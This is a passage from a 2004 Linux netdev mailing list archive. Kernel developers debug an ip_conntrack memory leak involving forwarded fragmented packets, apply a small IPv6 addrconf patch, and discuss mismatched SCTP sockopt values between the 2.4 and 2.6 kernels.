connections. the > ip_conntrack memory listed in /proc/slabinfo also grows. Neither the > memory or the connection count ever shrink again. I could not reproduce it: test machine with 2.6.1 + patch-2.6.2-rc2, ip_conntrack_max lowered to 10. From another machine, in a loop, 400 times: ping -c 1 -s 2500 test-machine No "ip_conntrack: table full, dropping packet" message on test-machine. No problem shown up in /proc/slabinfo either. Best regards, Jozsef - E-mail : kadlec@blackhole.kfki.hu, kadlec@sunserv.kfki.hu PGP key : http://www.kfki.hu/~kadlec/pgp_public_key.txt Address : KFKI Research Institute for Particle and Nuclear Physics H-1525 Budapest 114, POB. 49, Hungary From kadlec@blackhole.kfki.hu Mon Feb 2 03:45:06 2004 Received: with ECARTIS (v1.0.0; list netdev); Mon, 02 Feb 2004 03:45:20 -0800 (PST) Received: from blackhole.kfki.hu (blackhole.kfki.hu [148.6.0.114]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i12Bj57J003004 for ; Mon, 2 Feb 2004 03:45:05 -0800 Received: by blackhole.kfki.hu (Postfix, from userid 311) id 23CF087B1; Mon, 2 Feb 2004 12:45:04 +0100 (CET) Date: Mon, 2 Feb 2004 12:45:04 +0100 (CET) From: Jozsef Kadlecsik To: Steve Hill Cc: Subject: Re: Conntrack leak (2.6.2rc2) In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-archive-position: 2940 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: kadlec@blackhole.kfki.hu Precedence: bulk X-list: netdev Content-Length: 2593 Lines: 75 On Mon, 2 Feb 2004, Steve Hill wrote: > > > >From my observations, init_conntrack() is being called for each packet > > > (not fragment, packet), which seems right. > > > > No, that's not true (and would be bad). Please check the code. > > I have added to the top of init_conntrack(): > printk("Init conntrack\n"); > > Doing: > ping -n 172.16.0.1 -c 1 -s 2500 > through the machine now causes the kernel to output "Init conntrack", > proving the function is being called. Yes, once, on the whole packet. Or do you see the message two times, when issuing the ping command above once? > > Yes, because fragmented packets does not lead to conntrack entries - > > there is nothing to be freed. > > If fragmented packets do not lead to conntrack entries, how are their > connections tracked? I was under the impression that fragmented packets > were received by one NIC, defragged, pushed through all the netfilter code > and then transmitted by another NIC (after being fragmented again if they > are > MTU size)? You described exactly what happens: fragmented packets received, defragged by the stack, and as we get the complete packet, then it handled by conntrack. > > I could not reproduce it: test machine with 2.6.1 + patch-2.6.2-rc2, > > ip_conntrack_max lowered to 10. From another machine, in a loop, 400 > > times: > > > > ping -c 1 -s 2500 test-machine > > > > No "ip_conntrack: table full, dropping packet" message on test-machine. > > No problem shown up in /proc/slabinfo either. > > Just to confirm, you have your network set up like: > > [ Machine 1 ]----[ Machine 2 ]----[Machine 3] > > > Machines 1 and 3 are running the 2.4 kernel for me, but that shouldn't be > important. > Machine 2 is running 2.6.2rc2. I have only Machine 1 and Machine 2, but that should make no difference. > I am making > MTU sized pings from machine 1 to machine 3 and machine 2 is > showing the leak. > > Pinging machine 2 from machine 1 does not show any such problems. That's really, really strange! Both for local and forwarded packets ip_conntrack_in is called, which first checks the fragments and calls defragging, when required. If there were a leak when pinging machine 3, then there should be a leak when pinging machine 2 as well. I'll setup an UML-net to test the forwarded case, but I expect negative results. Best regards, Jozsef - E-mail : kadlec@blackhole.kfki.hu, kadlec@sunserv.kfki.hu PGP key : http://www.kfki.hu/~kadlec/pgp_public_key.txt Address : KFKI Research Institute for Particle and Nuclear Physics H-1525 Budapest 114, POB. 49, Hungary From steve@navaho.co.uk Mon Feb 2 03:58:26 2004 Received: with ECARTIS (v1.0.0; list netdev); Mon, 02 Feb 2004 03:58:33 -0800 (PST) Received: from pinus.navaho (fairchild-196.adsl.newnet.co.uk [213.131.187.196]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i12BwN7J005523 for ; Mon, 2 Feb 2004 03:58:25 -0800 Received: from 10.0.0.42 (steve@navaho.co.uk) by pinus.navaho with SMTP (Navaho Galium v3.8.1 [Linux/i686]) id: 1075711715; Mon, 02 Feb 2004 11:58:14 GMT X-Sender-Local: 10.0.0.42 Received: from sorbus2.navaho (localhost.localdomain [127.0.0.1]) by sorbus2.navaho (8.12.10/8.12.10) with ESMTP id i12BwD5G006731; Mon, 2 Feb 2004 11:58:13 GMT Received: from localhost (steve@localhost) by sorbus2.navaho (8.12.10/8.12.10/Submit) with ESMTP id i12BwDf2006727; Mon, 2 Feb 2004 11:58:13 GMT X-Authentication-Warning: sorbus2.navaho: steve owned process doing -bs Date: Mon, 2 Feb 2004 11:58:13 +0000 (GMT) From: Steve Hill X-X-Sender: steve@sorbus2.navaho To: Jozsef Kadlecsik cc: netdev@oss.sgi.com Subject: Re: Conntrack leak (2.6.2rc2) In-Reply-To: Message-ID: References: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Navaho-ID: 401e0eb3 X-Domain-Forwarded-By: pinus.navaho X-Navaho-Spam-Rating: 0.000000 X-Spam-Override: Local user [steve@navaho.co.uk] X-Navaho-Spam: No X-archive-position: 2942 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: steve@navaho.co.uk Precedence: bulk X-list: netdev Content-Length: 2254 Lines: 53 On Mon, 2 Feb 2004, Jozsef Kadlecsik wrote: > Yes, once, on the whole packet. Or do you see the message two times, when > issuing the ping command above once? No, only once for the whole packet (sorry, I think I didn't do a good job of describing the problem). init_conntrack() always gets called once for the whole packet (this seems right to me). However, destroy never gets called for the whole packet if the packet was fragmented, which seems to be the source of the leak - init_conntrack was called and allocated for the whole packet but that memory is never freed again if the packet was fragmented. I've added some debugging code into nf_conntrack_put() and it seems that if it's called on a packet that was fragmented, the usage count is > 1 so it never gets freed. I'm not sure if anything is actually using the packet at that point though or if something has just forgotten to decrement the usage count though - in any case, it never gets called with a usage count <= 1. > > [ Machine 1 ]----[ Machine 2 ]----[Machine 3] > > > > > > Machines 1 and 3 are running the 2.4 kernel for me, but that shouldn't be > > important. > > Machine 2 is running 2.6.2rc2. > > I have only Machine 1 and Machine 2, but that should make no difference. Pinging from machine 1 to machine 2 didn't cause any problem for me. I have just tried pinging from machine 2 to machine 1 (or 3) and this also isn't causing a problem. The leak is only showing itself if the machine is routing packets from one network segment to another, not if the machine itself is the source or destination. > I'll setup an UML-net to test the forwarded case, but I expect negative > results. Thanks - I'm doing my best to debug the problem, but I'm not at all familiar with the networking code so I'm having to start at the ground and work my way up (which is good since I don't have any preconceptions about that way it _should_ work, but bad in the fact I'm having to learn it all from scratch which takes time). - Steve Hill Senior Software Developer Email: steve@navaho.co.uk Navaho Technologies Ltd. Tel: +44-870-7034015 ... Alcohol and calculus don't mix - Don't drink and derive! ... From kadlec@blackhole.kfki.hu Mon Feb 2 05:22:23 2004 Received: with ECARTIS (v1.0.0; list netdev); Mon, 02 Feb 2004 05:22:28 -0800 (PST) Received: from blackhole.kfki.hu (blackhole.kfki.hu [148.6.0.114]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i12DMC7J011640 for ; Mon, 2 Feb 2004 05:22:13 -0800 Received: by blackhole.kfki.hu (Postfix, from userid 311) id F0F5087B1; Mon, 2 Feb 2004 13:47:56 +0100 (CET) Date: Mon, 2 Feb 2004 13:47:56 +0100 (CET) From: Jozsef Kadlecsik To: Steve Hill Cc: Subject: Re: Conntrack leak (2.6.2rc2) In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-archive-position: 2943 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: kadlec@blackhole.kfki.hu Precedence: bulk X-list: netdev Content-Length: 1588 Lines: 39 On Mon, 2 Feb 2004, Steve Hill wrote: > On Mon, 2 Feb 2004, Jozsef Kadlecsik wrote: > > > Yes, once, on the whole packet. Or do you see the message two times, when > > issuing the ping command above once? > > No, only once for the whole packet (sorry, I think I didn't do a good job > of describing the problem). > init_conntrack() always gets called once for the whole packet (this seems > right to me). However, destroy never gets called for the whole packet if > the packet was fragmented, which seems to be the source of the leak - > init_conntrack was called and allocated for the whole packet but that > memory is never freed again if the packet was fragmented. To be precise, the destroy function is not called whenever a packet leaves the system: it gets called, when conntrack thinks the connection is completed. It can happen when whe explicitly know from the packet that it finishes the connection (ICMP reply for ICMP non-error messages, and a special case for TCP RST), or when the timer of the conntrack entry goes off. So the destroy function is called when the system sees the ICMP reply packet from machine 3 (and there were so many request as reply packets so far) - otherwise it'll simply time out the connection. Machine 3 answers the ping requests, doesn't it? You ping the same IP address all the time? Best regards, Jozsef - E-mail : kadlec@blackhole.kfki.hu, kadlec@sunserv.kfki.hu PGP key : http://www.kfki.hu/~kadlec/pgp_public_key.txt Address : KFKI Research Institute for Particle and Nuclear Physics H-1525 Budapest 114, POB. 49, Hungary From steve@navaho.co.uk Mon Feb 2 05:49:47 2004 Received: with ECARTIS (v1.0.0; list netdev); Mon, 02 Feb 2004 05:49:52 -0800 (PST) Received: from pinus.navaho (fairchild-196.adsl.newnet.co.uk [213.131.187.196]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i12Dnh7J012669 for ; Mon, 2 Feb 2004 05:49:44 -0800 Received: from 10.0.0.42 (steve@navaho.co.uk) by pinus.navaho with SMTP (Navaho Galium v3.8.1 [Linux/i686]) id: 1075711871; Mon, 02 Feb 2004 13:36:07 GMT X-Sender-Local: 10.0.0.42 Received: from sorbus2.navaho (localhost.localdomain [127.0.0.1]) by sorbus2.navaho (8.12.10/8.12.10) with ESMTP id i12Da75G006773; Mon, 2 Feb 2004 13:36:07 GMT Received: from localhost (steve@localhost) by sorbus2.navaho (8.12.10/8.12.10/Submit) with ESMTP id i12Da7KB006769; Mon, 2 Feb 2004 13:36:07 GMT X-Authentication-Warning: sorbus2.navaho: steve owned process doing -bs Date: Mon, 2 Feb 2004 13:36:07 +0000 (GMT) From: Steve Hill X-X-Sender: steve@sorbus2.navaho To: Jozsef Kadlecsik cc: netdev@oss.sgi.com Subject: Re: Conntrack leak (2.6.2rc2) In-Reply-To: Message-ID: References: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Navaho-ID: 401e0f36 X-Domain-Forwarded-By: pinus.navaho X-Navaho-Spam-Rating: 0.000000 X-Spam-Override: Local user [steve@navaho.co.uk] X-Navaho-Spam: No X-archive-position: 2944 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: steve@navaho.co.uk Precedence: bulk X-list: netdev Content-Length: 3206 Lines: 90 On Mon, 2 Feb 2004, Jozsef Kadlecsik wrote: > To be precise, the destroy function is not called whenever a packet leaves > the system: it gets called, when conntrack thinks the connection is > completed. It can happen when whe explicitly know from the packet that it > finishes the connection (ICMP reply for ICMP non-error messages, and a > special case for TCP RST), or when the timer of the conntrack entry goes > off. > > So the destroy function is called when the system sees the ICMP reply > packet from machine 3 (and there were so many request as reply packets so > far) - otherwise it'll simply time out the connection. Yes, this makes sense. The fact that the connection is removed from the hash table indicates that conntrack thinks the connection has gone, but the destroy function was never called. (The connection nolonger appears in /proc/net/ip_conntrack). I turned on the debugging code and got: ---- ip_conntrack_in: new packet for ce8fae40 Altering reply tuple of ce8fae40 to tuple c0357de4: 1 172.16.0.1:5438 -> 172.17.0.1:0 Altering reply tuple of ce8fae40 to tuple c0357cdc: 1 172.16.0.1:5438 -> 172.17.0.1:0 Confirming conntrack ce8fae40 conntrack_put ce8faebc 4 conntrack_put ce8faebc 3 clean_from_lists(ce8fae40) remove_expectations(ce8fae40) conntrack_put ce8faeb4 3 conntrack_put ce8faec0 4 conntrack_put ce8faec0 3 ---- (the conntrack_put debugging was added by me to the nf_conntrack_put() function - it shows the pointer to nfct and the usage count). If it send a small packet through, which won't be fragmented I get: ---- ip_conntrack_in: new packet for ce8fa080 Altering reply tuple of ce8fa080 to tuple c0357de4: 1 172.16.0.1:39486 -> 172.17.0.1:0 Altering reply tuple of ce8fa080 to tuple c0357d20: 1 172.16.0.1:39486 -> 172.17.0.1:0 Confirming conntrack ce8fa080 conntrack_put ce8fa0fc 2 clean_from_lists(ce8fa080) remove_expectations(ce8fa080) conntrack_put ce8fa0f4 2 conntrack_put ce8fa100 1 destroy_conntrack(ce8fa080) destroy_conntrack: returning ct=ce8fa080 to slab ---- As you can see, in both cases everything happens in a similar way, except when dealing with fragmented packets the usage count is > 1 when conntrack_put is called. Nomatter how long it is left idle, conntrack_put is never called again for the packet, so the memory never gets freed. However, in both cases the connection is removed from the hash table. > Machine 3 answers the ping requests, doesn't it? You ping the same IP > address all the time? Yes, the machine always responds to the pings and I'm always using the same addresses. My setup is as follows: [ Machine 1 ] | 172.17.0.1/24 | | 172.17.0.254/24 [ Machine 2 ] | 172.16.0.254/24 | | 172.16.0.1/24 [ Machine 3 ] I am consistently testing by making pings from machine 1 to machine 3 - machine 3 always responds and there is no other routing in place, so both the echo request and the echo reply are being routed through machine 2.. - Steve Hill Senior Software Developer Email: steve@navaho.co.uk Navaho Technologies Ltd. Tel: +44-870-7034015 ... Alcohol and calculus don't mix - Don't drink and derive! ... From steve@navaho.co.uk Mon Feb 2 06:03:54 2004 Received: with ECARTIS (v1.0.0; list netdev); Mon, 02 Feb 2004 06:03:57 -0800 (PST) Received: from pinus.navaho (fairchild-196.adsl.newnet.co.uk [213.131.187.196]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i12E3p7J013375 for ; Mon, 2 Feb 2004 06:03:52 -0800 Received: from 10.0.0.42 (steve@navaho.co.uk) by pinus.navaho with SMTP (Navaho Galium v3.8.1 [Linux/i686]) id: 1075711917; Mon, 02 Feb 2004 14:03:40 GMT X-Sender-Local: 10.0.0.42 Received: from sorbus2.navaho (localhost.localdomain [127.0.0.1]) by sorbus2.navaho (8.12.10/8.12.10) with ESMTP id i12E3e5G006876; Mon, 2 Feb 2004 14:03:40 GMT Received: from localhost (steve@localhost) by sorbus2.navaho (8.12.10/8.12.10/Submit) with ESMTP id i12E3eeg006872; Mon, 2 Feb 2004 14:03:40 GMT X-Authentication-Warning: sorbus2.navaho: steve owned process doing -bs Date: Mon, 2 Feb 2004 14:03:40 +0000 (GMT) From: Steve Hill X-X-Sender: steve@sorbus2.navaho To: Jozsef Kadlecsik cc: netdev@oss.sgi.com Subject: Re: Conntrack leak (2.6.2rc2) In-Reply-To: Message-ID: References: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Navaho-ID: 401e0f60 X-Domain-Forwarded-By: pinus.navaho X-Navaho-Spam-Rating: 0.000000 X-Spam-Override: Local user [steve@navaho.co.uk] X-Navaho-Spam: No X-archive-position: 2945 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: steve@navaho.co.uk Precedence: bulk X-list: netdev Content-Length: 479 Lines: 16 On Mon, 2 Feb 2004, Jozsef Kadlecsik wrote: > You convinced me: something is really fishy. I fire up debugging and > checking. :) I'm just investigating the usage count ATM to see if I can work out what is (claiming to be) using the data. - Steve Hill Senior Software Developer Email: steve@navaho.co.uk Navaho Technologies Ltd. Tel: +44-870-7034015 ... Alcohol and calculus don't mix - Don't drink and derive! ... From kadlec@blackhole.kfki.hu Mon Feb 2 06:29:03 2004 Received: with ECARTIS (v1.0.0; list netdev); Mon, 02 Feb 2004 06:29:07 -0800 (PST) Received: from blackhole.kfki.hu (blackhole.kfki.hu [148.6.0.114]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i12ESq7J014462 for ; Mon, 2 Feb 2004 06:28:53 -0800 Received: by blackhole.kfki.hu (Postfix, from userid 311) id 62B8487B1; Mon, 2 Feb 2004 14:46:24 +0100 (CET) Date: Mon, 2 Feb 2004 14:46:24 +0100 (CET) From: Jozsef Kadlecsik To: Steve Hill Cc: Subject: Re: Conntrack leak (2.6.2rc2) In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-archive-position: 2946 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: kadlec@blackhole.kfki.hu Precedence: bulk X-list: netdev Content-Length: 1590 Lines: 52 On Mon, 2 Feb 2004, Steve Hill wrote: > I turned on the debugging code and got: > > ---- > ip_conntrack_in: new packet for ce8fae40 > Altering reply tuple of ce8fae40 to tuple c0357de4: 1 172.16.0.1:5438 -> > 172.17.0.1:0 > Altering reply tuple of ce8fae40 to tuple c0357cdc: 1 172.16.0.1:5438 -> > 172.17.0.1:0 > Confirming conntrack ce8fae40 > conntrack_put ce8faebc 4 > conntrack_put ce8faebc 3 > clean_from_lists(ce8fae40) > remove_expectations(ce8fae40) > conntrack_put ce8faeb4 3 > conntrack_put ce8faec0 4 > conntrack_put ce8faec0 3 > ---- > > (the conntrack_put debugging was added by me to the nf_conntrack_put() > function - it shows the pointer to nfct and the usage count). > > If it send a small packet through, which won't be fragmented I get: > > ---- > ip_conntrack_in: new packet for ce8fa080 > Altering reply tuple of ce8fa080 to tuple c0357de4: 1 172.16.0.1:39486 -> > 172.17.0.1:0 > Altering reply tuple of ce8fa080 to tuple c0357d20: 1 172.16.0.1:39486 -> > 172.17.0.1:0 > Confirming conntrack ce8fa080 > conntrack_put ce8fa0fc 2 > clean_from_lists(ce8fa080) > remove_expectations(ce8fa080) > conntrack_put ce8fa0f4 2 > conntrack_put ce8fa100 1 > destroy_conntrack(ce8fa080) > destroy_conntrack: returning ct=ce8fa080 to slab > ---- You convinced me: something is really fishy. I fire up debugging and checking. Best regards, Jozsef - E-mail : kadlec@blackhole.kfki.hu, kadlec@sunserv.kfki.hu PGP key : http://www.kfki.hu/~kadlec/pgp_public_key.txt Address : KFKI Research Institute for Particle and Nuclear Physics H-1525 Budapest 114, POB. 49, Hungary From yoshfuji@wide.ad.jp Mon Feb 2 09:06:55 2004 Received: with ECARTIS (v1.0.0; list netdev); Mon, 02 Feb 2004 09:07:01 -0800 (PST) Received: from yue.hongo.wide.ad.jp (yue.hongo.wide.ad.jp [203.178.135.30]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i12H6s7J022376 for ; Mon, 2 Feb 2004 09:06:55 -0800 Received: from localhost (localhost [127.0.0.1]) by yue.hongo.wide.ad.jp (Postfix) with ESMTP id 010F933CA5; Tue, 3 Feb 2004 02:07:41 +0900 (JST) Date: Tue, 03 Feb 2004 02:07:41 +0900 (JST) Message-Id: <20040203.020741.105137354.yoshfuji@wide.ad.jp> To: davem@redhat.com Cc: netdev@oss.sgi.com, yoshfuji@wide.ad.jp Subject: [PATCH] IPV6: fix checking for reserved subnet anycast From: YOSHIFUJI Hideaki / =?iso-2022-jp?B?GyRCNUhGIzFRTEAbKEI=?= Organization: USAGI Project X-URL: http://www.yoshifuji.org/%7Ehideaki/ X-Fingerprint: 9022 65EB 1ECF 3AD1 0BDF 80D8 4807 F894 E062 0EEA X-PGP-Key-URL: http://www.yoshifuji.org/%7Ehideaki/hideaki@yoshifuji.org.asc X-Face: "5$Al-.M>NJ%a'@hhZdQm:."qn~PA^gq4o*>iCFToq*bAi#4FRtx}enhuQKz7fNqQz\BYU] $~O_5m-9'}MIs`XGwIEscw;e5b>n"B_?j/AkL~i/MEaZBLP X-Mailer: Mew version 2.2 on Emacs 20.7 / Mule 4.1 (AOI) Mime-Version: 1.0 Content-Type: Text/Plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-archive-position: 2947 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: yoshfuji@wide.ad.jp Precedence: bulk X-list: netdev Content-Length: 926 Lines: 23 Reserved subnet anycast is as follows: 11111101 11....11 1xxxxxxx The code checking for reserved subnet anycast in __ipv6_regen_rndid() was incorrect. D: fix checking for reserved subnet anycast in __ipv6_regen_rndid(). ===== net/ipv6/addrconf.c 1.90 vs edited ===== --- 1.90/net/ipv6/addrconf.c Sun Jan 25 03:09:52 2004 +++ edited/net/ipv6/addrconf.c Tue Feb 3 01:39:19 2004 @@ -1147,7 +1147,7 @@ * - XXX: already assigned to an address on the device */ if (idev->rndid[0] == 0xfd && - (idev->rndid[1]&idev->rndid[2]&idev->rndid[3]&idev->rndid[4]&idev->rndid[5]&idev->rndid[6]) && + (idev->rndid[1]&idev->rndid[2]&idev->rndid[3]&idev->rndid[4]&idev->rndid[5]&idev->rndid[6]) == 0xff && (idev->rndid[7]&0x80)) goto regen; if ((idev->rndid[0]|idev->rndid[1]) == 0) { -- Hideaki YOSHIFUJI @ USAGI Project GPG FP: 9022 65EB 1ECF 3AD1 0BDF 80D8 4807 F894 E062 0EEA From davem@redhat.com Mon Feb 2 10:36:54 2004 Received: with ECARTIS (v1.0.0; list netdev); Mon, 02 Feb 2004 10:36:57 -0800 (PST) Received: from mx1.redhat.com (mx1.redhat.com [66.187.233.31]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i12Iar7J028587 for ; Mon, 2 Feb 2004 10:36:53 -0800 Received: from int-mx1.corp.redhat.com (int-mx1.corp.redhat.com [172.16.52.254]) by mx1.redhat.com (8.11.6/8.11.6) with ESMTP id i12Iaob29498; Mon, 2 Feb 2004 13:36:50 -0500 Received: from devserv.devel.redhat.com (devserv.devel.redhat.com [172.16.58.1]) by int-mx1.corp.redhat.com (8.11.6/8.11.6) with ESMTP id i12Iaoa10214; Mon, 2 Feb 2004 13:36:50 -0500 Received: from cheetah.davemloft.net (localhost.localdomain [127.0.0.1]) by devserv.devel.redhat.com (8.12.10/8.12.10) with SMTP id i12IaLkC002313; Mon, 2 Feb 2004 13:36:21 -0500 Date: Mon, 2 Feb 2004 10:36:49 -0800 From: "David S. Miller" To: yoshfuji@wide.ad.jp Cc: netdev@oss.sgi.com Subject: Re: [PATCH] IPV6: fix checking for reserved subnet anycast Message-Id: <20040202103649.32e4a9b2.davem@redhat.com> In-Reply-To: <20040203.020741.105137354.yoshfuji@wide.ad.jp> References: <20040203.020741.105137354.yoshfuji@wide.ad.jp> X-Mailer: Sylpheed version 0.9.7 (GTK+ 1.2.10; sparc-unknown-linux-gnu) X-Face: "_;p5u5aPsO,_Vsx"^v-pEq09'CU4&Dc1$fQExov$62l60cgCc%FnIwD=.UF^a>?5'9Kn[;433QFVV9M..2eN.@4ZWPGbdi<=?[:T>y?SD(R*-3It"Vj:)"dP Mime-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 8bit X-MIME-Autoconverted: from quoted-printable to 8bit by oss.sgi.com id i12Iar7J028587 X-archive-position: 2948 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: davem@redhat.com Precedence: bulk X-list: netdev Content-Length: 362 Lines: 12 On Tue, 03 Feb 2004 02:07:41 +0900 (JST) YOSHIFUJI Hideaki / $B5HF#1QL@(B wrote: > Reserved subnet anycast is as follows: > 11111101 11....11 1xxxxxxx > The code checking for reserved subnet anycast in > __ipv6_regen_rndid() was incorrect. > > D: fix checking for reserved subnet anycast in __ipv6_regen_rndid(). Applied, thanks. From dwmw2@infradead.org Mon Feb 2 10:43:06 2004 Received: with ECARTIS (v1.0.0; list netdev); Mon, 02 Feb 2004 10:43:09 -0800 (PST) Received: from pentafluge.infradead.org (pentafluge.infradead.org [213.86.99.235]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i12Ih57J029392 for ; Mon, 2 Feb 2004 10:43:06 -0800 Received: from [213.86.99.237] (helo=[172.16.18.64]) by pentafluge.infradead.org with asmtp (Exim 4.30 #5 (Red Hat Linux)) id 1Anj2G-0001nF-3Z; Mon, 02 Feb 2004 18:43:04 +0000 Subject: SCTP sockopt discrepancy between 2.4 and 2.6. From: David Woodhouse To: netdev@oss.sgi.com, marcelo.tosatti@cyclades.com Cc: lksctp-developers@lists.sourceforge.net Content-Type: text/plain Message-Id: <1075747382.786.366.camel@hades.cambridge.redhat.com> Mime-Version: 1.0 X-Mailer: Ximian Evolution 1.4.5 (1.4.5-8.dwmw2.2) Date: Mon, 02 Feb 2004 18:43:03 +0000 Content-Transfer-Encoding: 7bit X-Spam-Score: 0.0 (/) X-archive-position: 2949 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: dwmw2@infradead.org Precedence: bulk X-list: netdev Content-Length: 545 Lines: 15 The 2.4 and 2.6 SCTP code have _different_ values for the SCTP_* sockopts. The 2.4 version claims to implement draft-ietf-tsvwg-sctpsocket-04.txt while the 2.6 version implements draft-ietf-tsvwg-sctpsocket-07.txt. This means that tools compiled with the current libraries and header files cannot work on the 2.4 kernel. Am I missing something -- like perhaps the existence of a patch to update the 2.4 kernel -- or is the SCTP implementation in 2.4 no longer being maintained, and no longer compatible with 2.6 and its userspace? -- dwmw2 From davem@redhat.com Mon Feb 2 11:03:46 2004 Received: with ECARTIS (v1.0.0; list netdev); Mon, 02 Feb 2004 11:03:50 -0800 (PST) Received: from mx1.redhat.com (mx1.redhat.com [66.187.233.31]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i12J3k7J030302 for ; Mon, 2 Feb 2004 11:03:46 -0800 Received: from int-mx1.corp.redhat.com (int-mx1.corp.redhat.com [172.16.52.254]) by mx1.redhat.com (8.11.6/8.11.6) with ESMTP id i12J3gb13652; Mon, 2 Feb 2004 14:03:42 -0500 Received: from devserv.devel.redhat.com (devserv.devel.redhat.com [172.16.58.1]) by int-mx1.corp.redhat.com (8.11.6/8.11.6) with ESMTP id i12J3fa21266; Mon, 2 Feb 2004 14:03:41 -0500 Received: from cheetah.davemloft.net (localhost.localdomain [127.0.0.1]) by devserv.devel.redhat.com (8.12.10/8.12.10) with SMTP id i12J3CkC017713; Mon, 2 Feb 2004 14:03:12 -0500 Date: Mon, 2 Feb 2004 11:03:40 -0800 From: "David S. Miller" To: David Woodhouse Cc: netdev@oss.sgi.com, marcelo.tosatti@cyclades.com, lksctp-developers@lists.sourceforge.net Subject: Re: SCTP sockopt discrepancy between 2.4 and 2.6. Message-Id: <20040202110340.3f4cdabd.davem@redhat.com> In-Reply-To: <1075747382.786.366.camel@hades.cambridge.redhat.com> References: <1075747382.786.366.camel@hades.cambridge.redhat.com> X-Mailer: Sylpheed version 0.9.7 (GTK+ 1.2.10; sparc-unknown-linux-gnu) X-Face: "_;p5u5aPsO,_Vsx"^v-pEq09'CU4&Dc1$fQExov$62l60cgCc%FnIwD=.UF^a>?5'9Kn[;433QFVV9M..2eN.@4ZWPGbdi<=?[:T>y?SD(R*-3It"Vj:)"dP Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 2950 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: davem@redhat.com Precedence: bulk X-list: netdev Content-Length: 525 Lines: 12 On Mon, 02 Feb 2004 18:43:03 +0000 David Woodhouse wrote: > Am I missing something -- like perhaps the existence of a patch to > update the 2.4 kernel -- or is the SCTP implementation in 2.4 no longer > being maintained, and no longer compatible with 2.6 and its userspace? Good catch David, this does need to be synchronized and fixed. I believe the 2.4.x SCTP code was a port of some older 2.6.x incantation and then the 2.6.x line kept being updated yet such updates never were merged 2.4.x'ward. From sri@us.ibm.com Mon Feb 2 11:11:59 2004 Received: with ECARTIS (v1.0.0; list netdev); Mon, 02 Feb 2004 11:12:03 -0800 (PST) Received: from e1.ny.us.ibm.com (e1.ny.us.ibm.com [32.97.182.101]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i12JBw7J030865 for ; Mon, 2 Feb 2004 11:11:59 -0800 Received: from northrelay04.pok.ibm.com (northrelay04.pok.ibm.com [9.56.224.206]) by e1.ny.us.ibm.com (8.12.10/NS PXFA) with ESMTP id i12J9O2a378768; Mon, 2 Feb 2004 14:09:24 -0500 Received: from w-sridhar.beaverton.ibm.com (d01av02.pok.ibm.com [9.56.224.216]) by northrelay04.pok.ibm.com (8.12.10/NCO/VER6.6) with ESMTP id i12J9MYQ110434; Mon, 2 Feb 2004 14:09:23 -0500 Date: Mon, 2 Feb 2004 11:09:21 -0800 (PST) From: Sridhar Samudrala X-X-Sender: sridhar@localhost.localdomain To: David Woodhouse cc: netdev@oss.sgi.com, marcelo.tosatti@cyclades.com, lksctp-developers@lists.sourceforge.net Subject: Re: SCTP sockopt discrepancy between 2.4 and 2.6. In-Reply-To: <1075747382.786.366.camel@hades.cambridge.redhat.com> Message-ID: References: <1075747382.786.366.camel@hades.cambridge.redhat.com> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-archive-position: 2951 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: sri@us.ibm.com Precedence: bulk X-list: netdev Content-Length: 1221 Lines: 31 On Mon, 2 Feb 2004, David Woodhouse wrote: > The 2.4 and 2.6 SCTP code have _different_ values for the SCTP_* > sockopts. The 2.4 version claims to implement > draft-ietf-tsvwg-sctpsocket-04.txt while the 2.6 version implements > draft-ietf-tsvwg-sctpsocket-07.txt. I think 2.4 lksctp is compatible with draft-iets-tsvwg-sctpsocket-06.txt. > > This means that tools compiled with the current libraries and header > files cannot work on the 2.4 kernel. Right. The latest lksctp-tools(lksctp-tools-2.6.0-test7-0.7.4) will not work with 2.4. An earlier 